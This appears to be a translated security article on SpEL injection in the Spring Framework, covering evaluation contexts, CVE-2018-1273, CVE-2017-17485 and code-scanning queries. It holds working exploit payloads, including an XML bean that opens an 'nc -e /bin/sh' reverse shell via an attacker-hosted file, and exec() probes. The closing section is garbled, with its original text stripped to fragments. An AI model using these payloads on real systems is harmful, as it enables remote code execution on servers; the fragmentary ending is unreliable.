In the process of working and researching various services, we can increasingly find the Spring Framework. And the logical step is familiarity with its structure and possible vulnerabilities.
The most interesting for any pentester are vulnerabilities that lead to code execution.
One way to get RCE in Spring is to inject SpEL expressions.
In this article we will try to understand what SpEL is, where it can be found, what are the features of use and how to find such injections.
SpEL is an expression language created for the Spring Framework that supports querying and managing the object graph at run time.
It is also important to note that SpEL is created in the form of an API-interface, allowing to integrate it into other applications and frameworks.
It is logical that in the Spring Framework SpEL is used all the time. A good example is Spring Security, where rights are assigned using SpEL expressions:
@PreAuthorize("hasPermission(#contact, 'admin')") public void deletePermission(Contact contact, Sid recipient, Permission permission);
Apache Camel uses the SpEL API; Below are examples from its documentation.
Formation of a letter using SpEL-expressions:
<route> <from uri="direct:foo"/> <filter> <spel>#{request.headers['foo'] == 'bar'}</spel> <to uri="direct:bar"/> </filter> </route>
Or you can use a rule from an external file, for example, to specify a Header:
.setHeader("myHeader").spel("resource:classpath:myspel.txt")
Here are some examples found on GitHub:
https://github.com/jpatokal/openflights
To make it easier for the reader to understand what a SpEL injection is, it is necessary to become familiar with Spring and SpEL.
The key element of the Spring Framework is the Spring Container. The container creates objects, links them together, sets up and manages them from creation to destruction.
To manage the components that make up the application, Spring Container uses
Dependency Injection. This is when objects are configured using external entities, called Spring Beans - in common parlance "bins".
Spring Container receives configuration metadata from a bean, which is needed to obtain the following information: instructions on what objects to instantiate and how to configure them via metadata.
Metadata can be obtained in 3 ways:
And another important point for us is the Application Context.
ApplicationContext is the main interface in the Spring application that provides configuration information for the application. It is read-only at runtime, but can be reloaded if necessary and supported by the application. A number of classes that implement the ApplicationContext interface are available for various configuration parameters and application types. In essence, it is the Spring application itself. The context also provides the ability to respond to various events that occur within the application, and to manage the life cycle of the beans.
Now we’ll focus directly on how to specify the bean and how to use SpEL expressions.
Bean.XML
An example of typical usage is the integration of SpEL into the creation of XML or annotated definitions of beans:
<bean id=“exmple" class="org.spring.samples.NumberGuess"> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/> <property name="defaultLocale2" value="${user.region}"/> </bean>
Here is a portion of the code in the Bean.xml file, only for one of its bin. It is worth paying attention to the id of the bin, by which it can be accessed, and on the properties. Since in the framework of this article, we consider the possibility of operating SpEL, then the example will show several options for recording such expressions.
To indicate Spring that SpEL expressions go further, the # character is used, and the expression itself is enclosed in curly brackets: #{SpEL_expression}
. Properties can be referenced using the $ character and enclosing the property name in braces: ${someProperty}
. Property fillings may not contain SpEL expressions, but expressions may contain references to properties:
"#{${someProperty}"
Thus, you can call any Java class we need or, for example, access environment variables, which can be useful for determining the user name or system version.
The convenience of this method of setting bins is the ability to change them without recompiling the entire application, thereby changing the behavior of the application.
From the application itself, you can access this bean using the ApplicationContext interface, as shown below:
ApplicationContext ctx = new ClassPathXmlApplicationContext(“Bean.xml”); MyExpression example = ctx.getBean(“example", MyExpression.class); " + "System.out.println(“Number : " + example.getValue()); System.out.println(“Locale : " + example.getDefaultLocale()); System.out.println(“Locale : " + example.getDefaultLocale2());
Those. inside the application, we simply get the values of the bin parameters that contain SpEL expressions. Spring, having received such a value, executes the expression and returns the final result. Also, do not forget that this code will not work without appropriate getters, but their description is beyond the scope of the article.
Another way to set bins is the AnnotationBase annotation method — the parameter values are set inside the annotation for a class. In this case, the use of variables is not possible.
public static class FieldValueTestBean @Value("#{ systemProperties['user.region'] }") private String defaultLocale; public void setDefaultLocale(String defaultLocale) { this.defaultLocale = defaultLocale; } public String getDefaultLocale() { return this.defaultLocale; } }
To be able to use variables, we need to use the ExpressionParser interface when creating SpEL expressions. And then in the application code will appear a class, similar to the following example:
public void parseExpressionInterface(Person personObj,String property) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(property+" == 'Input'"); StandardEvaluationContext testContext = new StandardEvaluationContext(personObj); boolean result = exp.getValue(testContext, Boolean.class);
ExpressionParser converts a string expression to an Expression object. Thus, the value of the analyzed expression will be available within the EvaluationContext. This EvaluationContext will be the only object from which all properties and variables in the EL string will be available.
It is worth noting another important fact. With this method of using SpEL, we require that the string expression contain # only if, in addition to the expression itself, it contains string literals.
From all the above, two things are worth remembering:
1) If there is an opportunity to search by application code, then you need to search for such keywords: SpelExpressionParser, EvaluationContext and parseExpression.
2) Important for Spring pointers #{SpEL}
, ${someProperty}
and T(javaclass)
If you want to read more about Spring and SpEL, we recommend paying attention to the docs.spring.io documentation.
According to the documentation, SpEL supports the following functionality:
As we can see, the SpEL functionality is very rich, and this can adversely affect the security of a project if user input is included in the ExpressionParser. Therefore, Spring itself recommends using a more functional StandardEcalutionContext, which is more stripped down by the capabilities of the SimpleEvaluationContext.
In short, from the important for us, the SimpleEvaluationContext does not have the ability to access Java classes and reference other beans.
A full description of the possibilities is better explored on the documentation website:
StandardEvaluationContext
SimpleEvaluationContext
On the difference in the functionality of SpEL, which is executed in different contexts, even some corrections are based, but we will talk about this a little later.
To make everything really clear, we give an example. We have an obviously malicious string containing a SpEL expression:
String inj = "T(java.lang.Runtime).getRuntime().exec('calc.exe')";
And there are two contexts:
StandardEvaluationContext std_c = new StandardEvaluationContext();
and
EvaluationContext simple_c = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Expression exp = parser.parseExpression (inj);java exp.getValue(std_c);
- the calculator will be launchedjava exp.getValue(simple_c);
- we get an error message
An equally interesting point is that we can start processing the expression without specifying any context at all: exp.getValue();
In this case, the expression will be executed within the standard context and, as a result, the malicious code will be executed. Therefore, if you are a programmer and use Spring - never forget to set the context within which the expression should be executed.
We said a little earlier that on the differences in the SpEL capabilities within contexts some corrections are built. Consider an example of such a fix.
CVE 2018-1273 Spring Data Commons
This vulnerability was found in the setPropertyValue method and was based on two problems:
1) Insufficient sanitization of the values of a variable falling into the ExpressionParser.
2) Execution of the expression in the frame of the standard context.
Here is a screenshot of the vulnerable part of the code:
Since the property name did not require complicated processing within the SpEL framework, the logical decision was to replace the context, as a result of which the following code was obtained:
The screenshots show the parts of the code that set the context and the expression that will be executed. But the execution of the expression takes place elsewhere:
expression.setValue(context, value);
Just here it is indicated that we execute a SpEL expression (expression) for the value value within a given context (context).
Using SimpleEvaluationContext helped protect against the introduction of the Java Class into parseExpression, and now instead of executing the code in the server log, we will see an error:
Type cannot be found 'java.lang.Runtime'
But this did not solve the problem of the lack of sufficient sanitization and retained the ability to carry out the attack of redos:
curl -X POST http://localhost:8080/account -d "name['aaaaaaaaaaaaaaaaaaaaaaaa!'%20matches%20'%5E(a%2B)%2B%24']=test"
Therefore, the following fix already contained the sanitization of the parameter name.
Now let's look at several ways to search for SpEL injection using the White Box method.
First you need to find the place for processing SpEL expressions. To do this, you can simply use our recommendation and find keywords in the code. Recall these words: SpelExpressionParser, EvaluationContext and parseExpression.
Another option is to use various plugins to find errors in the code. So far, the only plugin that points to possible SpEL injection was findsecbugs-cli.
https://github.com/find-sec-bugs
So, we have found a place of interest in the code. Suppose using findsecbugs-cli:
In the application code we will see the following:
public class PathToSpEL { private static final SpelExpressionParser SPEL_EXPRESSION_PARSER = new SpelExpressionParser(); static final List<String> APPEND_CHARACTERS = Arrays.asList("-"); /** * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. * @return an {@link Expression} */ public static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); }
The next step is to find out where the path variable falls into the expression parser. One of the fairly convenient and free ways will be to use the IDE function IntelijIdea - Analyze Dataflow:
Spinning the chain, for example, for replace and studying the specified methods and classes, we get the following:
The ReplaceOperation method takes the value of the path variable.
public ReplaceOperation(String path, Object value) { super("replace", path, value); }
And to call the replace method, you need to transfer the “op” variable to JSON with the value of “replace”.
JsonNode opNode = elements.next(); String opType = opNode.get("op").textValue(); else if (opType.equals("replace")) { ops.add(new ReplaceOperation(path, value));
Similarly, we find all the places where the user can pass the desired value to the path variable. And then one of the exploitation options for the vulnerability will look like this:
Request Method: PATCH
Request body:
[{ "op" : "add", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]
Using LGTM QL (in this article, we’ll just cut down to QL) - this is another interesting way to search for vulnerabilities.
https://lgtm.com
It is necessary to immediately discuss his flaw. For free, you can only analyze projects that are in open repositories on GitHub, because To take a snapshot of the project, LGTM downloads the project to its server and compiles it there. But if it does not bother you, then LGTM QL will open for you wide possibilities in the analysis of the application code.
So, what is an application analysis using QL?
To begin with, as we said, you will need to create a snapshot of the application.
When the snapshot is ready, and it may take several hours, you can start writing a SQL-like query within the framework of the QL syntax. To do this, you can use the plugin for Eclipse, or act directly in the console on the QL page of the project.
Since Now we are considering Spring, and this is a framework for Java, then it will be necessary to describe the class that interests you and the method from this class, whose call is considered vulnerable. For us, this is any class that contains a method that calls ExpressionParser.
Then we make a selection of all the methods that meet our requirements, for example, describing the variable hit the method, which would sanitize the condition that the method was not included.
So, what do you need to do to find the CVE 2018-1273 vulnerability?
Having received and connected the project image, we use the QL console to describe the call tree of interest. For this:
We describe the Expression parser class:
class ExpressionParser extends RefType { ExpressionParser() { this.hasQualifiedName("org.springframework.expression", "ExpressionParser") } }
And methods that can be used for execution within the ExpressionParser class:
class ParseExpression extends MethodAccess { ParseExpression() { exists (Method m | (m.getName().matches("parse%") or m.hasName("doParseExpression")) and this.getMethod() = m ) } }
Now you need to link these descriptions together and make a selection:
from ParseExpression expr where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser) select expr
Such a query will return all methods beginning with parse or with the name doParseExpression, which will belong to the ExpressionParser class. But this is too much, you say, and you will be right. Required to add a filter.
Since The code contains a comment like:
* Converts a patch path to an {@link Expression}. * * @param path the patch path to convert.
That filter can be, for example, the search for “path” by Javadoc. Spring comments on its code with high quality, and we can find calls to methods with the right comment, and at the same time remove all the methods that are included in the tests. This can all be described as follows:
class CallHasPath extends Callable { CallHasPath() { not this.getDeclaringType() instanceof TestClass and ( this.getDoc().getJavadoc() instanceof DocHasPath or this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath ) } }
Then, to combine the class, methods and filter by Javadoc, the sample query will look like this:
from ParseExpression expr, CallHasPath c where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and c = expr.getEnclosingCallable()) select expr, c
This example can be considered simple and, in general, redundant to search for a specific vulnerability. Much more interesting is the search for errors when writing corrections, because in it you need to specify the class itself, which is responsible for the check, the methods that always call it and which are executed before it is checked.
Calling the method that always calls verifyPath:
class VerifyPathCallerAccess extends MethodAccess { VerifyPathCallerAccess() { exists(VerifyPathActionConf conf | conf.callAlwaysPerformsAction(this) ) or this.getMethod() instanceof VerifyPath } }
A call to a method that executes before verifyPath:
class UnsafeEvaluateCall extends MethodAccess { UnsafeEvaluateCall() { ( this.getMethod() instanceof Evaluate or exists(UnsafeEvaluateCall unsafe | this.getMethod() = unsafe.getEnclosingCallable() ) ) and not exists(VerifyPathCallerAccess verify | dominates(verify, this) ) } }
Consider another interesting vulnerability. Her understanding is very important, because it shows that the error might be in a third-party library, and demonstrates how XML annotated beans can be used.
CVE-2017-17485 is based on the use of FileSystemXmlApplicationContext, which is a stand-alone XML application context that retrieves context definition files from the file system or from a URL.
According to the documentation, it allows you to load beans from a file and reload the application context.
“... Create a new FileSystemXmlApplicationContext, loading the definitions from the XML file
Jackson is a library that allows you to serialize and deserialize any objects except those that are blacklisted. This feature is often used by intruders. In the case of this vulnerability, the attacker had to pass an org.springframework.context.support.FileSystemXmlApplicationContext
object with a value that contains the path to the file controlled by the attacker.
Those. in the body of the request you could pass the following JSON:
{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://attacker.com/spel.xml"]}
Spel.xml will also contain the parameters of the bean:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list value-type="java.lang.String" > <value>nc</value> <value>XXXX</value> <value>9999</value> <value>-e</value> <value>/bin/sh</value> </list> </constructor-arg> <property name="whatever" value="#{pb.start()}"/> </bean> </beans>
Since we used the java.lang.ProcessBuilder class, which has a start method, after Spring reloads the context, it reads the expression that starts ProcessBuilder from the SpEL property, thereby forcing the server to connect to us using nc.
It is worth paying attention to the spel.xml given as an example, since it shows how to pass parameters when running a command.
How else can we load our bin or reload the context?
Even with a quick look at the Spring documentation, you can find some more classes that may be useful to us.
ClassPathXmlApplicationContext and AbstractXmlApplicationContext are similar to FileSystem, but use ClassPath and XML annotated bins as the path to the configuration, respectively.
There is another interesting point related to context reloading - @RefreshScope.
Any Spring Bean annotated with @RefreshScope will be updated at startup. And all the components that use it, will receive a new object the next time the method is called, will be fully initialized and put in dependencies.
RefreshScope is a component in context, and it has a public method, refreshAll, designed to refresh all components in a region by clearing the target cache. Therefore, in the case of using @RefreshScope, a user can refer to a URL ending in / refresh, and thus reload the annotated bins.
There are many other plugins and programs that allow you to analyze the code and find the vulnerability.
Of the minuses - paid, but has a free period of 10 days. It is considered one of the best utilities for analyzing application behavior, not only from a security point of view.
findsecbugs.bat -progress -html -output report_name.htm "path\example.jar"
-, .
, : Spring, SpEL, , SpEL API, -, .
spring, URL, API. /metrics /beans — Spring Boot Actuator , .
, .
, SpEL , , .
var[SpEL]=123
&variable1=123&SpEL=
${}
${1+3} T(java.lang.Runtime).getRuntime().exec("nslookup !url!") #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup !url!') new java.lang.ProcessBuilder({'nslookup !url!'}).start() ${user.name}
SpEL , , EL Injection. : OGNL, MVEL, JBoss EL, JSP EL. - .
ZeroNights : “ , Spring, SpEL injection?”
, CVE, . , , github.
, , SpEL Expression. Those. (, ) , .
Those. . , , “” .
Source: https://habr.com/ru/post/433034/
All Articles